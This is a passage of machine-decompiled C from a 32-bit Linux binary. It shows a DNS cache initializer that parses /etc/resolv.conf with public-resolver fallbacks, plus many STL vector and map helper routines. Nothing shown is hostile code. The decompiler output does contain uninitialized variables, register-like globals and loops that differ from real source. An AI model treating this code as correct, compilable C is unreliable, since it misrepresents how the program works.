0x805560a srandom(time_val); g101 = (int32_t)a1; g98 = rand(); uint32_t v8 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v1); // 0x805562f std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)g101, (int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v1, (int32_t *)(g98 % v8))); // branch -> 0x80556dc } // 0x80556dc std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1); g98 = v3; g101 = v2; return (int32_t)a1; } // Address range: 0x80556f8 - 0x8055889 int32_t CDNSCache__Initialize(char * a1, int32_t a2) { struct _in_addr v1; // 0x80557e8_0 int32_t v2 = (int32_t)a1; // 0x8055701 *(int32_t *)(v2 + 64) = a2; int32_t * v3 = (int32_t *)(v2 + 4); // 0x8055728 // branch -> 0x8055713 for (uint32_t i = 0; i < 2; i++) { // 0x8055713 std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &g2->e0); // PHI copies at the loop end // loop 0x8055713 end } // 0x805573b __new_fopen((int32_t)"/etc/resolv.conf", 0x80ff4e0); int32_t result; // 0x805587f char * v4; int32_t v5; // bp-28 int32_t v6; // bp-32 if (v4 == NULL) { // 0x8055835 inet_addr("8.8.8.8"); v6 = g95; std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v6); inet_addr("8.8.4.4"); v5 = g95; result = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v5); return result; } // 0x805580c // branch -> 0x805580c while (true) { // 0x805580c // branch -> 0x805580c char * substr_pos; // 0x80557a9 int32_t v7; while (true) { int32_t v8 = _IO_feof((struct _struct__IO_FILE *)v4); // 0x8055812 if (((int32_t)(v8 == 0) || v8 & -256) == 0) { // 0x8055827 __new_fclose((int32_t *)v4); // branch -> 0x8055835 // 0x8055835 inet_addr("8.8.8.8"); v6 = g95; std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v6); inet_addr("8.8.4.4"); v5 = g95; result = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v5); return result; } // 0x8055762 int32_t * v9; memcpy(v9, (int32_t *)0x80ff3e0, 256); _IO_fgets((int32_t)v9, 255, (int32_t *)v4, v7); substr_pos = strstr((char *)v9, "nameserver"); if (substr_pos != NULL) { // break -> 0x80557ba break; } // continue -> 0x805580c } int32_t v10 = CDNSCache__GetFirstNumPos(a1); // 0x80557c0 char * cp = (char *)v10; // 0x80557c0_3 if (v10 != 0) { // 0x8055806 // branch -> 0x80557da for (uint32_t i = 0; i < 2; i++) { // 0x80557da inet_addr(cp); v1 = (struct _in_addr){ .e0 = 0 }; v1.e0 = g95; std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(v3, &v1.e0); // PHI copies at the loop end // loop 0x80557da end } // 0x805580c v7 = (int32_t)substr_pos; // branch -> 0x805580c continue; } // 0x805580c v7 = (int32_t)substr_pos; // branch -> 0x805580c } } // Address range: 0x80558fe - 0x8055915 int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_not__eq_(int32_t * a1, int32_t * a2) { int32_t v1 = *a2; // 0x8055909 return (((int32_t)(*a1 == v1) | v1 & -256) ^ 1) % 2; } // Address range: 0x8055916 - 0x8055923 int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(int32_t * a1) { // 0x8055916 return *a1 + 16; } // Address range: 0x8055924 - 0x8055929 void __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x8055924 return; } // Address range: 0x805592a - 0x8055941 int32_t std__allocator_lt_unsigned_int_gt_(int32_t result) { // 0x805592a __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x805595a - 0x8055965 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(int32_t * a1) { // 0x805595a return *(int32_t *)((int32_t)a1 + 8); } // Address range: 0x8055966 - 0x8055991 int32_t __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct(int32_t * a1, int32_t * a2) { int32_t v1 = _ZnwjPv((int32_t *)4); // 0x8055974 int32_t ** v2 = (int32_t **)v1; // 0x8055974_4 int32_t ** v3; // 0x8055990_11 if (v1 != 0) { // 0x8055985 int32_t ** v4; int32_t v5 = *(int32_t *)v4; // 0x8055988 *v2 = (int32_t *)v5; v3 = (int32_t **)v5; // branch -> 0x805598f } else { v3 = v2; } // 0x805598f return (int32_t)v3; } // Address range: 0x8055992 - 0x80559ef int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___construct(int32_t * a1, int32_t * a2) { int32_t v1 = _ZnwjPv((int32_t *)4); // 0x80559a1 struct struct_3 * v2 = (struct struct_3 *)v1; // 0x80559a1_4 struct struct_3 * v3; // 0x80559ee_21 if (v1 != 0) { // 0x80559b2 int32_t * v4; int32_t v5 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v2->e0, v4); // 0x80559bb v3 = (struct struct_3 *)v5; // branch -> 0x80559ea } else { v3 = v2; } // 0x80559ea return (int32_t)v3; } // Address range: 0x80559f0 - 0x80559f9 int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(int32_t * a1) { // 0x80559f0 g95 = (int32_t)a1; return *a1; } // Address range: 0x80559fa - 0x8055a07 int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_ptr_(int32_t * a1) { // 0x80559fa return *a1 + 16; } // Address range: 0x8055a08 - 0x8055a1f int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_(int32_t * a1, int32_t * a2) { // 0x8055a08 return *a1 == *a2; } // Address range: 0x8055a20 - 0x8055a53 int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = *a2; // 0x8055a2d int32_t v2 = *a3; // 0x8055a32 __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)(4 * v2 + v1)); return (int32_t)a1; } // Address range: 0x8055a56 - 0x8055a79 int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(int32_t * a1, int32_t a2) { // 0x8055a56 __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, (int32_t *)(a2 + 4)); return (int32_t)a1; } // Address range: 0x8055a7c - 0x8055a91 int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(int32_t * a1) { // 0x8055a7c *a1 = *a1 + 4; return (int32_t)a1; } // Address range: 0x8055a92 - 0x8055a97 void __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt_(void) { // 0x8055a92 return; } // Address range: 0x8055ab0 - 0x8055ab5 void __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___destroy(void) { // 0x8055ab0 return; } // Address range: 0x8055ade - 0x8055ae3 void __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x8055ade return; } // Address range: 0x8055ae4 - 0x8055afb int32_t std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(int32_t result) { // 0x8055ae4 __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x8055b4a - 0x8055b55 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(int32_t * a1) { // 0x8055b4a return *(int32_t *)((int32_t)a1 + 12); } // Address range: 0x8055b56 - 0x8055b61 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(int32_t * a1) { // 0x8055b56 return *(int32_t *)((int32_t)a1 + 8); } // Address range: 0x8055b62 - 0x8055b71 int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2) { // 0x8055b62 *a1 = *a2; return (int32_t)a1; } // Address range: 0x8055b72 - 0x8055b95 int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin(int32_t * a1, int32_t * a2) { // 0x8055b72 __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, a2); return (int32_t)a1; } // Address range: 0x8055b96 - 0x8055bc9 int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = *a2; // 0x8055ba3 int32_t v2 = *a3; // 0x8055ba8 __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, (int32_t *)(4 * v2 + v1)); return (int32_t)a1; } // Address range: 0x8055bcc - 0x8055c1d int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2) { // 0x8055bcc int32_t * v1; std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin(v1, a1); int32_t * v2; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_(v2, v1, a2); return __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(v2); } // Address range: 0x8055c1e - 0x8055c41 int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end(int32_t * a1, int32_t * a2) { // 0x8055c1e __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, (int32_t *)((int32_t)a2 + 4)); return (int32_t)a1; } // Address range: 0x8055c44 - 0x8055c4d int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___max_size(void) { // 0x8055c44 return 0x3fffffff; } // Address range: 0x8055c4e - 0x8055c55 int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(int32_t * a1) { // 0x8055c4e return (int32_t)a1; } // Address range: 0x8055c56 - 0x8055c6b int32_t __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__(int32_t * a1) { // 0x8055c56 *a1 = *a1 + 4; return (int32_t)a1; } // Address range: 0x8055c6c - 0x8055c75 int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___max_size(void) { // 0x8055c6c return 0x3fffffff; } // Address range: 0x8055c76 - 0x8055c7d int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(int32_t * a1) { // 0x8055c76 return (int32_t)a1; } // Address range: 0x8055c7e - 0x8055cb1 int32_t __gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1); // 0x8055c8b int32_t v2 = *(int32_t *)v1; int32_t v3 = __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); // 0x8055c9b int32_t v4 = *(int32_t *)v3; // 0x8055ca3 int32_t v5 = ((int32_t)(v2 == v4) | v4 & -256) ^ 1; // 0x8055ca7 g95 = v5; return v5 % 2; } // Address range: 0x8055cb2 - 0x8055d01 int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1) { // 0x8055cb2 int32_t * v1; if (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, v1) == 0) { // 0x8055cff return 0; } __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(&NULL->e0); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a1); while (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, v1) != 0) { // 0x8055cba __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(&NULL->e0); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a1); // continue -> 0x8055cba } // 0x8055cff return 0; } // Address range: 0x8055d02 - 0x8055d0d int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(int32_t * a1) { // 0x8055d02 return (int32_t)a1 + 4; } // Address range: 0x8055d0e - 0x8055d1b int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(int32_t ** a1, int32_t * a2) { // 0x8055d0e *a1 = a2; return (int32_t)a1; } // Address range: 0x8055d1c - 0x8055d3f int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(int32_t ** a1, int32_t * a2) { // 0x8055d1c std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(a1, (int32_t *)((int32_t)a2 + 4)); return (int32_t)a1; } // Address range: 0x8055d42 - 0x8055d6d int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(int32_t ** a1, int32_t * a2) { int32_t v1 = g98; // 0x8055d45 g98 = (int32_t)a1; int32_t ** v2; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v2, a2); *(int32_t *)g98 = (int32_t)v2; int32_t result = g98; // 0x8055d64 g98 = v1; return result; } // Address range: 0x8055d6e - 0x8055da1 int32_t __gnu_cxx__operator_eq__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1); // 0x8055d7b int32_t v2 = *(int32_t *)v1; int32_t v3 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); // 0x8055d8b return v2 == *(int32_t *)v3; } // Address range: 0x8055da2 - 0x8055def int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(int32_t * a1) { // 0x8055da2 int32_t * v1; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v1, a1); int32_t * v2; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v2, (int32_t **)a1); return __gnu_cxx__operator_eq__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v2, v1); } // Address range: 0x8055df0 - 0x8055e3f int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___capacity(int32_t * a1) { // 0x8055df0 int32_t * v1; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v1, (int32_t **)a1); int32_t v2 = *(int32_t *)((int32_t)a1 + 8); // 0x8055e11 int32_t * v3; __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v3, (int32_t *)v2); return __gnu_cxx__operator__lt_std__string_const__ptr__comma__std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v3, v1); } // Address range: 0x8055e40 - 0x8055e4f int32_t __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2) { // 0x8055e40 *a1 = *a2; return (int32_t)a1; } // Address range: 0x8055e50 - 0x8055e7b int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin_109(int32_t * a1, int32_t ** a2) { int32_t v1 = *(int32_t *)a2; // 0x8055e5d __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x8055e7c - 0x8055ea5 int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end_110(int32_t * a1, int32_t a2) { int32_t v1 = *(int32_t *)(a2 + 4); // 0x8055e89 __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x8055ea8 - 0x8055eaf int32_t __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(int32_t * a1) { // 0x8055ea8 return (int32_t)a1; } // Address range: 0x8055eb0 - 0x8055ee7 int32_t __gnu_cxx__operator__lt_unsigned_int_const__ptr__comma__unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a1); // 0x8055ebd int32_t v2 = __gnu_cxx____normal_iterator_lt_unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a2); // 0x8055ecf return (*(int32_t *)v1 - *(int32_t *)v2) / 4; } // Address range: 0x8055ee8 - 0x8055f33 int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___size(int32_t * a1) { // 0x8055ee8 int32_t * v1; std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin_109(v1, (int32_t **)a1); int32_t * v2; std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end_110(v2, (int32_t)a1); return __gnu_cxx__operator__lt_unsigned_int_const__ptr__comma__unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v2, v1); } // Address range: 0x8055f34 - 0x8055f3b int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(int32_t result) { // 0x8055f34 return result; } // Address range: 0x8055f3e - 0x8055f5b int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(int32_t result, int32_t * a2) { // 0x8055f3e int32_t v1; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(v1); return result; } // Address range: 0x8055f5e - 0x8055f79 int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__111(int32_t a1) { // 0x8055f5e __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x8055f7a - 0x8055f95 int32_t std__allocator_lt_unsigned_int_gt__112(int32_t a1, int32_t a2) { // 0x8055f7a __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__111(a1); return 0x8132c20; } // Address range: 0x8055f96 - 0x8055fb3 int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(int32_t result, int32_t * a2) { // 0x8055f96 std__allocator_lt_unsigned_int_gt__112(result, (int32_t)a2); return result; } // Address range: 0x8056058 - 0x805606f int32_t CDNSCacheItem(struct struct_3 * a1) { // 0x8056058 return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)a1); } // Address range: 0x8056070 - 0x80560cb int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt_(struct struct_3 * a1) { // 0x8056070 CDNSCacheItem((struct struct_3 *)((int32_t)a1 + 4)); return std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)a1); } // Address range: 0x80560cc - 0x805610f int32_t CDNSCacheItem_117(int32_t * a1) { struct struct_3 * v1 = NULL; // bp-5 std__allocator_lt_std__string_gt__42((int32_t)v1); int32_t result = (int32_t)a1; // 0x80560e1 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_((struct struct_3 *)a1, v1); std__allocator_lt_std__string_gt_(&v1->e0); *(int32_t *)(result + 12) = 0; return result; } // Address range: 0x8056110 - 0x8056171 int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8056110 if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) { // 0x8056170 return 0; } // 0x8056124 __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v1 = 4 * (int32_t)a3; // 0x805612f int32_t result; // 0x8056171_11 if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) { // 0x805615b int32_t v2; result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x8056129, v2, 0, 0, 0); // branch -> 0x8056170 } else { // 0x805614b result = _ZdlPv(a2); // branch -> 0x8056170 } // 0x8056170 return result; } // Address range: 0x8056172 - 0x8056195 int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8056172 int32_t result; // 0x805618b if (a2 != NULL) { // 0x805617e g95 = (int32_t)a1; result = __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, a3); // branch -> 0x8056193 } // 0x8056193 return result; } // Address range: 0x805627e - 0x8056283 void __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(void) { // 0x805627e return; } // Address range: 0x8056284 - 0x805629f int32_t __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__120(int32_t a1) { // 0x8056284 __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x80562ce - 0x8056301 int32_t __gnu_cxx__operator_not__eq__lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a1); // 0x80562db int32_t v2 = *(int32_t *)v1; int32_t v3 = __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a2); // 0x80562eb int32_t v4 = *(int32_t *)v3; // 0x80562f3 return (((int32_t)(v2 == v4) | v4 & -256) ^ 1) % 2; } // Address range: 0x8056302 - 0x8056351 int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__std__allocator_lt_unsigned_int_gt___gt_(int32_t * a1) { // 0x8056302 int32_t * v1; if (__gnu_cxx__operator_not__eq__lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, v1) == 0) { // 0x805634f return 0; } __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___destroy(); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__(a1); while (__gnu_cxx__operator_not__eq__lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, v1) != 0) { // 0x805630a __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___destroy(); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__(a1); // continue -> 0x805630a } // 0x805634f return 0; } // Address range: 